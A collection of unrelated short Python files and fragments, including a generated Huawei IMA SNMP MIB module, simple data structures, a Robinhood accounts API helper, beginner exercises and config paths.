Places a player in the board.
Args:
player (Player): Player to place in the board.
graph_index (tuple): Row and column of node to place player in.
"""
self.grid[self.positions[player.turn[0]]][self.positions[player.turn[1]]] = None
self.grid[graph_index[0]][graph_index[1]] = player.turn
self.positions[player.turn] = graph_index
def remove(self, player):
"""
Removes a player from the game.
Args:
player (Player): Player to remove from the board.
"""
self.grid[self.positions[player.turn[0]]][self.positions[player.turn[1]]] = None
self.positions[player.turn] = None
def current_position(self, player):
"""
Gets the current position of the player.
"""
return self.positions[player.turn]
|
#
# PySNMP MIB module HUAWEI-IMA-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/HUAWEI-IMA-MIB
# Produced by pysmi-0.3.4 at Wed May 1 13:45:04 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
ObjectIdentifier, Integer, OctetString = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "Integer", "OctetString")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ValueSizeConstraint, ConstraintsIntersection, ConstraintsUnion, SingleValueConstraint, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueSizeConstraint", "ConstraintsIntersection", "ConstraintsUnion", "SingleValueConstraint", "ValueRangeConstraint")
hwDatacomm, = mibBuilder.importSymbols("HUAWEI-MIB", "hwDatacomm")
InterfaceIndexOrZero, InterfaceIndex, ifIndex = mibBuilder.importSymbols("IF-MIB", "InterfaceIndexOrZero", "InterfaceIndex", "ifIndex")
ModuleCompliance, ObjectGroup, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "ObjectGroup", "NotificationGroup")
Integer32, TimeTicks, Counter64, Counter32, iso, ObjectIdentity, ModuleIdentity, MibIdentifier, Bits, Unsigned32, NotificationType, enterprises, Gauge32, MibScalar, MibTable, MibTableRow, MibTableColumn, IpAddress = mibBuilder.importSymbols("SNMPv2-SMI", "Integer32", "TimeTicks", "Counter64", "Counter32", "iso", "ObjectIdentity", "ModuleIdentity", "MibIdentifier", "Bits", "Unsigned32", "NotificationType", "enterprises", "Gauge32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "IpAddress")
DisplayString, TextualConvention, DateAndTime, RowStatus = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention", "DateAndTime", "RowStatus")
hwImaMIB = ModuleIdentity((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176))
if mibBuilder.loadTexts: hwImaMIB.setLastUpdated('200902101400Z')
if mibBuilder.loadTexts: hwImaMIB.setOrganization('Huawei Technologies co.,Ltd.')
if mibBuilder.loadTexts: hwImaMIB.setContactInfo('Huawei Technologies co.,Ltd. Huawei Bld.,NO.3 Xinxi Rd., Shang-Di Information Industry Base, Hai-Dian District Beijing P.R. China http://www.huawei.com Zip:100085 ')
if mibBuilder.loadTexts: hwImaMIB.setDescription('The MIB is mainly used to configure Inverse Multiplexing for ATM (IMA) interfaces.')
hwImaMibObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1))
hwImaMibConformance = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2))
class MilliSeconds(TextualConvention, Integer32):
description = 'Time in milliseconds'
status = 'current'
class ImaGroupState(TextualConvention, Integer32):
description = 'State of the IMA group.'
status = 'current'
subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10))
namedValues = NamedValues(("notConfigured", 1), ("startUp", 2), ("startUpAck", 3), ("configAbortUnsupportedM", 4), ("configAbortIncompatibleSymmetry", 5), ("configAbortOther", 6), ("insufficientLinks", 7), ("blocked", 8), ("operational", 9), ("configAbortUnsupportedImaVersion", 10))
class ImaGroupSymmetry(TextualConvention, Integer32):
description = 'The group symmetry mode adjusted during the group start-up.'
status = 'current'
subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3))
namedValues = NamedValues(("symmetricOperation", 1), ("asymmetricOperation", 2), ("asymmetricConfiguration", 3))
class ImaFrameLength(TextualConvention, Integer32):
description = 'Length of the IMA frames.'
status = 'current'
subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(32, 64, 128, 256))
namedValues = NamedValues(("m32", 32), ("m64", 64), ("m128", 128), ("m256", 256))
class ImaLinkState(TextualConvention, Integer32):
description = 'State of a link belonging to an IMA group.'
status = 'current'
subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8))
namedValues = NamedValues(("notInGroup", 1), ("unusableNoGivenReason", 2), ("unusableFault", 3), ("unusableMisconnected", 4), ("unusableInhibited", 5), ("unusableFailed", 6), ("usable", 7), ("active", 8))
hwImaGroupTable = MibTable((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1), )
if mibBuilder.loadTexts: hwImaGroupTable.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupTable.setDescription('The IMA Group Configuration table.')
hwImaGroupEntry = MibTableRow((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1), ).setIndexNames((0, "HUAWEI-IMA-MIB", "hwImaGroupIfIndex"))
if mibBuilder.loadTexts: hwImaGroupEntry.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupEntry.setDescription('An entry in the IMA Group table.')
hwImaGroupIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 1), InterfaceIndex()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupIfIndex.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupIfIndex.setDescription("This object identifies the logical interface number ('ifIndex') assigned to this IMA group, and is used to identify corresponding rows in the Interfaces MIB. Note that re-initialization of the management agent may cause a client's 'hwImaGroupIfIndex' to change.")
hwImaGroupNeState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 2), ImaGroupState()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupNeState.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupNeState.setDescription('The current operational state of the near-end IMA Group State Machine.')
hwImaGroupFeState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 3), ImaGroupState()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupFeState.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupFeState.setDescription('The current operational state of the far-end IMA Group State Machine.')
hwImaGroupSymmetry = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 4), ImaGroupSymmetry().clone('symmetricOperation')).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupSymmetry.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupSymmetry.setDescription('Symmetry of the IMA group.')
hwImaGroupMinNumTxLinks = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 5), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 32))).setMaxAccess("readcreate")
if mibBuilder.loadTexts: hwImaGroupMinNumTxLinks.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupMinNumTxLinks.setDescription('Minimum number of transmit links required to be Active for the IMA group to be in the Operational state.')
hwImaGroupMinNumRxLinks = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 32))).setMaxAccess("readcreate")
if mibBuilder.loadTexts: hwImaGroupMinNumRxLinks.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupMinNumRxLinks.setDescription('Minimum number of receive links required to be Active for the IMA group to be in the Operational state.')
hwImaGroupTxTimingRefLink = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 7), InterfaceIndexOrZero()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupTxTimingRefLink.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupTxTimingRefLink.setDescription('The ifIndex of the transmit timing reference link to be used by the near-end for IMA data cell clock recovery from the ATM layer. The distinguished value of zero may be used if no link has been configured in the IMA group, or if the transmit timing reference link has not yet been selected.')
hwImaGroupRxTimingRefLink = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 8), InterfaceIndexOrZero()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupRxTimingRefLink.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupRxTimingRefLink.setDescription('The ifIndex of the receive timing reference link to be used by near-end for IMA data cell clock recovery toward the ATM layer. The distinguished value of zero may be used if no link has been configured in the IMA group, or if the receive timing reference link has not yet been detected.')
hwImaGroupTxImaId = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 9), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupTxImaId.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupTxImaId.setDescription('The IMA ID currently in use by the near-end IMA function.')
hwImaGroupRxImaId = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 10), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupRxImaId.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupRxImaId.setDescription('The IMA ID currently in use by the far-end IMA function.')
hwImaGroupTxFrameLength = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 11), ImaFrameLength().clone('m128')).setMaxAccess("readcreate")
if mibBuilder.loadTexts: hwImaGroupTxFrameLength.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupTxFrameLength.setDescription('The frame length to be used by the IMA group in the transmit direction. Can only be set when the IMA group is startup.')
hwImaGroupRxFrameLength = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 12), ImaFrameLength()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupRxFrameLength.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupRxFrameLength.setDescription('Value of IMA frame length as received from remote IMA function.')
hwImaGroupDiffDelayMax = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 13), MilliSeconds().subtype(subtypeSpec=ValueRangeConstraint(25, 100)).clone(25)).setMaxAccess("readcreate")
if mibBuilder.loadTexts: hwImaGroupDiffDelayMax.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupDiffDelayMax.setDescription('The maximum number of milliseconds of differential delay among the links that will be tolerated on this interface.')
hwImaGroupAlphaValue = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 14), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2)).clone(2)).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupAlphaValue.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupAlphaValue.setDescription("This indicates the 'alpha' value used to specify the number of consecutive invalid ICP cells to be detected before moving to the IMA Hunt state from the IMA Sync state.")
hwImaGroupBetaValue = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 15), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 5)).clone(2)).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupBetaValue.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupBetaValue.setDescription("This indicates the 'beta' value used to specify the number of consecutive errored ICP cells to be detected before moving to the IMA Hunt state from the IMA Sync state.")
hwImaGroupGammaValue = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 16), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 5)).clone(1)).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupGammaValue.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupGammaValue.setDescription("This indicates the 'gamma' value used to specify the number of consecutive valid ICP cells to be detected before moving to the IMA Sync state from the IMA PreSync state.")
hwImaGroupNumTxActLinks = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 17), Gauge32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupNumTxActLinks.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupNumTxActLinks.setDescription('The number of links which are configured to transmit and are currently Active in this IMA group.')
hwImaGroupNumRxActLinks = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 18), Gauge32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupNumRxActLinks.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupNumRxActLinks.setDescription('The number of links which are configured to receive and are currently Active in this IMA group.')
hwImaGroupTxOamLabelValue = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 19), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupTxOamLabelValue.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupTxOamLabelValue.setDescription('IMA OAM Label value transmitted by the NE IMA unit.')
hwImaGroupRxOamLabelValue = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 20), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupRxOamLabelValue.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupRxOamLabelValue.setDescription('IMA OAM Label value transmitted by the FE IMA unit. The value 0 likely means that the IMA unit has not received an OAM Label from the FE IMA unit at this time.')
hwImaGroupFirstLinkIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 21), InterfaceIndex()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaGroupFirstLinkIfIndex.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupFirstLinkIfIndex.setDescription('This object identifies the first link of this IMA Group.')
hwImaLinkTable = MibTable((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2), )
if mibBuilder.loadTexts: hwImaLinkTable.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkTable.setDescription('The IMA group Link Status and Configuration table.')
hwImaLinkEntry = MibTableRow((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1), ).setIndexNames((0, "HUAWEI-IMA-MIB", "hwImaLinkIfIndex"))
if mibBuilder.loadTexts: hwImaLinkEntry.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkEntry.setDescription('An entry in the IMA Group Link table.')
hwImaLinkIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 1), InterfaceIndex())
if mibBuilder.loadTexts: hwImaLinkIfIndex.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkIfIndex.setDescription("This corresponds to the 'ifIndex' of the MIB-II interface on which this link is established. This object also corresponds to the logical number ('ifIndex') assigned to this IMA link.")
hwImaLinkGroupIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 2), InterfaceIndex()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: hwImaLinkGroupIfIndex.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkGroupIfIndex.setDescription("This object identifies the logical interface number ('ifIndex') assigned to this IMA group. The specified link will be bound to this IMA group.")
hwImaLinkNeTxState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 3), ImaLinkState()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaLinkNeTxState.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkNeTxState.setDescription('The current state of the near-end transmit link.')
hwImaLinkNeRxState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 4), ImaLinkState()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaLinkNeRxState.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkNeRxState.setDescription('The current state of the near-end receive link.')
hwImaLinkFeTxState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 5), ImaLinkState()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaLinkFeTxState.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkFeTxState.setDescription('The current state of the far-end transmit link as reported via ICP cells.')
hwImaLinkFeRxState = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 6), ImaLinkState()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hwImaLinkFeRxState.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkFeRxState.setDescription('The current state of the far-end receive link as reported via ICP cells.')
hwImaLinkRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 51), RowStatus()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: hwImaLinkRowStatus.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkRowStatus.setDescription("The hwImaLinkRowStatus object allows create, change, and delete operations on hwImaLinkTable entries. To create a new conceptual row (or instance) of the hwImaLinkTable, hwImaLinkRowStatus must be set to 'createAndWait' or 'createAndGo'. A successful set of the imaLinkGroupIndex object must be performed before the hwImaLinkRowStatus of a new conceptual row can be set to 'active'. To change (modify) the imaLinkGroupIndex in an hwImaLinkTable entry, the hwImaLinkRowStatus object must first be set to 'notInService'. Only then can this object in the conceptual row be modified. This is due to the fact that the imaLinkGroupIndex object provides the association between a physical IMA link and the IMA group to which it belongs, and setting the imaLinkGroupIndex object to a different value has the effect of changing the association between a physical IMA link and an IMA group. To place the link 'in group', the hwImaLinkRowStatus object is set to 'active'. While the row is not in 'active' state, both the Transmit and Receive IMA link state machines are in the 'Not In Group' state. To remove (delete) an hwImaLinkTable entry from this table, set this object to 'destroy'.")
hwImaMibGroups = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2, 1))
hwImaMibCompliances = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2, 2))
hwImaMibCompliance = ModuleCompliance((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2, 2, 1)).setObjects(("HUAWEI-IMA-MIB", "hwImaGroupGroup"), ("HUAWEI-IMA-MIB", "hwImaLinkGroup"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
hwImaMibCompliance = hwImaMibCompliance.setStatus('current')
if mibBuilder.loadTexts: hwImaMibCompliance.setDescription('The compliance statement for network elements implementing Inverse Multiplexing for ATM (IMA) interfaces.')
hwImaGroupGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2, 1, 1)).setObjects(("HUAWEI-IMA-MIB", "hwImaGroupIfIndex"), ("HUAWEI-IMA-MIB", "hwImaGroupNeState"), ("HUAWEI-IMA-MIB", "hwImaGroupFeState"), ("HUAWEI-IMA-MIB", "hwImaGroupSymmetry"), ("HUAWEI-IMA-MIB", "hwImaGroupMinNumTxLinks"), ("HUAWEI-IMA-MIB", "hwImaGroupMinNumRxLinks"), ("HUAWEI-IMA-MIB", "hwImaGroupTxTimingRefLink"), ("HUAWEI-IMA-MIB", "hwImaGroupRxTimingRefLink"), ("HUAWEI-IMA-MIB", "hwImaGroupTxImaId"), ("HUAWEI-IMA-MIB", "hwImaGroupRxImaId"), ("HUAWEI-IMA-MIB", "hwImaGroupTxFrameLength"), ("HUAWEI-IMA-MIB", "hwImaGroupRxFrameLength"), ("HUAWEI-IMA-MIB", "hwImaGroupDiffDelayMax"), ("HUAWEI-IMA-MIB", "hwImaGroupAlphaValue"), ("HUAWEI-IMA-MIB", "hwImaGroupBetaValue"), ("HUAWEI-IMA-MIB", "hwImaGroupGammaValue"), ("HUAWEI-IMA-MIB", "hwImaGroupNumTxActLinks"), ("HUAWEI-IMA-MIB", "hwImaGroupNumRxActLinks"), ("HUAWEI-IMA-MIB", "hwImaGroupTxOamLabelValue"), ("HUAWEI-IMA-MIB", "hwImaGroupRxOamLabelValue"), ("HUAWEI-IMA-MIB", "hwImaGroupFirstLinkIfIndex"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
hwImaGroupGroup = hwImaGroupGroup.setStatus('current')
if mibBuilder.loadTexts: hwImaGroupGroup.setDescription('A set of objects providing configuration and status information for an IMA group definition.')
hwImaLinkGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2, 1, 2)).setObjects(("HUAWEI-IMA-MIB", "hwImaLinkGroupIfIndex"), ("HUAWEI-IMA-MIB", "hwImaLinkNeTxState"), ("HUAWEI-IMA-MIB", "hwImaLinkNeRxState"), ("HUAWEI-IMA-MIB", "hwImaLinkFeTxState"), ("HUAWEI-IMA-MIB", "hwImaLinkFeRxState"), ("HUAWEI-IMA-MIB", "hwImaLinkRowStatus"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
hwImaLinkGroup = hwImaLinkGroup.setStatus('current')
if mibBuilder.loadTexts: hwImaLinkGroup.setDescription('A set of objects providing status information for an IMA link.')
mibBuilder.exportSymbols("HUAWEI-IMA-MIB", hwImaMibGroups=hwImaMibGroups, hwImaMIB=hwImaMIB, hwImaGroupTxFrameLength=hwImaGroupTxFrameLength, hwImaMibCompliance=hwImaMibCompliance, hwImaGroupGammaValue=hwImaGroupGammaValue, hwImaMibObjects=hwImaMibObjects, hwImaGroupFeState=hwImaGroupFeState, hwImaGroupRxTimingRefLink=hwImaGroupRxTimingRefLink, ImaGroupState=ImaGroupState, hwImaGroupNumTxActLinks=hwImaGroupNumTxActLinks, hwImaGroupMinNumTxLinks=hwImaGroupMinNumTxLinks, hwImaGroupDiffDelayMax=hwImaGroupDiffDelayMax, hwImaGroupRxOamLabelValue=hwImaGroupRxOamLabelValue, hwImaLinkTable=hwImaLinkTable, hwImaLinkFeTxState=hwImaLinkFeTxState, hwImaLinkGroupIfIndex=hwImaLinkGroupIfIndex, hwImaLinkNeRxState=hwImaLinkNeRxState, hwImaGroupEntry=hwImaGroupEntry, hwImaMibConformance=hwImaMibConformance, hwImaGroupTable=hwImaGroupTable, ImaGroupSymmetry=ImaGroupSymmetry, hwImaLinkFeRxState=hwImaLinkFeRxState, hwImaGroupTxOamLabelValue=hwImaGroupTxOamLabelValue, hwImaGroupAlphaValue=hwImaGroupAlphaValue, hwImaLinkNeTxState=hwImaLinkNeTxState, hwImaGroupRxFrameLength=hwImaGroupRxFrameLength, MilliSeconds=MilliSeconds, PYSNMP_MODULE_ID=hwImaMIB, ImaLinkState=ImaLinkState, hwImaGroupIfIndex=hwImaGroupIfIndex, hwImaGroupNeState=hwImaGroupNeState, hwImaLinkEntry=hwImaLinkEntry, hwImaGroupRxImaId=hwImaGroupRxImaId, hwImaMibCompliances=hwImaMibCompliances, hwImaGroupGroup=hwImaGroupGroup, hwImaGroupBetaValue=hwImaGroupBetaValue, hwImaLinkIfIndex=hwImaLinkIfIndex, hwImaGroupMinNumRxLinks=hwImaGroupMinNumRxLinks, hwImaGroupFirstLinkIfIndex=hwImaGroupFirstLinkIfIndex, hwImaGroupSymmetry=hwImaGroupSymmetry, hwImaGroupTxImaId=hwImaGroupTxImaId, hwImaLinkGroup=hwImaLinkGroup, hwImaLinkRowStatus=hwImaLinkRowStatus, hwImaGroupNumRxActLinks=hwImaGroupNumRxActLinks, hwImaGroupTxTimingRefLink=hwImaGroupTxTimingRefLink, ImaFrameLength=ImaFrameLength)
|
class priorityqueue():
def __init__(self):
self.data = []
def __repr__(self):
return str(self.data)
def add(self, i):
if len(self.data) == 0:
self.data.append(i)
else:
for j in range(len(self.data)):
if self.data[j][1] > i[1]:
self.data.insert(j, i)
return
self.data.append(i)
def remove(self):
return self.data.pop(0)
def isempty(self):
return len(self.data) == 0
class stack():
def __init__(self):
self.data = []
def __repr__(self):
return str(self.data)
def add(self, i):
self.data.append(i)
def remove(self):
return self.data.pop()
def isempty(self):
return len(self.data) == 0
def reverse(self):
return reversed(self.data)
def ToPath(a, b, hashtable, stack):
stack.add(b)
if hashtable[b] == a:
stack.add(a)
return list(stack.reverse())
else:
return ToPath(a, hashtable[b], hashtable, stack)
|
# encoding: utf-8
# home = "/home/xmxie/caoyananGroup/fangzheng/project/official_data/"
home = "/Users/fang/people_dis/data/official_data/"
# 比赛数据
train_data_path = home + "pubs_train.json"
train_label_path = home + "assignment_train.json"
validate_data_path = home + "pubs_validate.json"
test_data_path = home + "pubs_test.json"
# 预训练词向量
vec_path = home + "vec/vector"
# xgboost模型
xgboost_model_path = home + "xgboost_model"
# 验证集org打标数据
name_differ_validate_path = home + "name_different_validate"
# 测试集org打标数据
name_differ_test_path = home + "name_different_test"
########################################################################################################
# xgboost训练集
train_id_path = "/Users/fang/people_dis/data/na-data/data/global/train_id"
# xgboost训练集格式化
train_format_path = "/Users/fang/people_dis/data/na-data/data/global/train_format_data"
# 训练group文件
train_group_path = "/Users/fang/people_dis/data/na-data/data/global/train_group"
# xgboost测试集
test_id_path = "/Users/fang/people_dis/data/na-data/data/global/test_id"
# xgboost测试集格式化
test_format_path = "/Users/fang/people_dis/data/na-data/data/global/test_format_data"
# 测试group文件
test_group_path = "/Users/fang/people_dis/data/na-data/data/global/test_group"
|
class Account(object):
@classmethod
def all(cls, client):
request_url = "https://api.robinhood.com/accounts/"
data = client.get(request_url)
results = data["results"]
while data["next"]:
data = client.get(data["next"])
results.extend(data["results"])
return results
@classmethod
def all_urls(cls, client):
accounts = cls.all(client)
urls = [account["url"] for account in accounts]
return urls
|
## global strings for output dictionaries ##
NAME = "name"
TABLE = "table"
FIELD = "field"
TABLES = "tables"
VALUE = "value"
FIELDS = "fields"
REPORT = "report"
MRN = "mrn"
DATE = "date"
MRN_CAPS = "MRN"
UWID = "uwid"
ACCESSION_NUM = "accession"
KARYO = "karyotype"
KARYOTYPE_STRING = "KaryotypeString"
FILLER_ORDER_NO = "FillerOrderNo"
CONFIDENCE = "confidence"
VERSION = "algorithmVersion"
STARTSTOPS = "startStops"
SET_ID = "SetId"
OBSERVATION_VALUE = "ObservationValue"
SPECIMEN_SOURCE = "SpecimenSource"
KEY = "recordKey"
START = "startPosition"
STOP = "stopPosition"
ERR_STR = "errorString"
ERR_TYPE = "errorType"
INSUFFICIENT = "Insufficient"
MISCELLANEOUS = "Miscellaneous"
INTERMEDIATE = "Intermediate"
UNFAVORABLE = "Unfavorable"
FAVORABLE = "Favorable"
CELL_COUNT = "CellCount"
CELL_ORDER = "CellTypeOrder"
CHROMOSOME = "Chromosome"
ABNORMALITIES = "Abnormalities"
CHROMOSOME_NUM = "ChromosomeNumber"
WARNING = "Warning"
CYTOGENETICS = "Cytogenetics"
SWOG = "AML_SWOG_RiskCategory"
ELN = "ELN_RiskCategory"
POLY = "Polyploidy"
UNKNOWN = "Unknown"
SPEC_DATE = "spec_date"
OFFSET = "Offset"
PARSE_ERR = "PARSING ERROR"
DATE = "ReceivedDate"
|
username = input('Enter your name: ')
password = input('Enter your password: ')
password_len = len(password)
password_secret = '*' * password_len
print(f'Your name is: {username} and your {password_secret} is {password_len} letters long.')
|
maxvalue = int(input("Until which value do you want to calculate the prime numbers?"))
# The first prime, 2, we skip, so that afterwards we can make our loop faster by skipping all even numbers:
print("The prime numbers under", maxvalue, "are:")
print(2)
# Break as soon as isprime is False
for n in range(3, maxvalue + 1, 2):
# Let's start out by assuming n is a prime:
isprime = True
# For each n we want to look at all values larger than one, and smaller than n:
for x in range(2, n):
# If n is divisible by x, the remainder of this division is 0. We can check this with the modulo operator:
if n % x == 0:
# If we get here the current n is not a prime.
isprime = False
# we don't need to check further numbers
break
# If isprime is still True this is indeed a prime
if isprime:
print(n)
# Alternative approach with for-else
for n in range(3, maxvalue + 1, 2):
for x in range(2, n):
if n % x == 0:
# In this case we only need to break
break
else:
# When this else block is reached n is a prime
print(n) |
s,n = [int(x) for x in input().split()]
arr = []
for _ in range(n):
x,y = [int(x) for x in input().split()]
arr.append((x,y))
arr.sort(key=lambda x: x[0])
msg = "YES"
for i in range(n):
x,y = arr[i]
if s > x:
s += y
else:
msg = "NO"
break
print(msg)
|
class ProfileParsingError(Exception):
pass
class RoleNotFoundError(Exception):
def __init__(self, credential_method, *args, **kwargs):
Exception.__init__(self, *args, **kwargs)
# a string describing the IAM context
self.credential_method = credential_method
class AssumeRoleError(Exception):
def __init__(self, credential_method, *args, **kwargs):
Exception.__init__(self, *args, **kwargs)
# a string describing the IAM context
self.credential_method = credential_method
|
#Lê o valor da variável a
a = int(input("Leia o valor: "))
#Verifica se a é positivo ou negativo
if a > 0:
print ("O numero %d eh positivo" %a)
else:
print ("O numero %d eh negativo" %a)
|
name = 'Jatin Mehta'
greeting = "Hello World, I am "
print(greeting, name)
|
# Listing 26-1
# Copyright Warren & Carter Sande, 2013
# Released under MIT license http://www.opensource.org/licenses/mit-license.php
# Version $version ----------------------------
# SI Bitwy pythonów - pierwsze podejście do pokonania OkreznaSI
# Zwróć uwagę, że nie jest kompletny program Pythona
# Jest to moduł wywoływany przez program Bitwa pythonów
# Zapisz ten plik pod dowolna nazwą - np. "lepszanizokreznasi.py"
# I przetestuj go w walce przeciwko okreznasi
class SI:
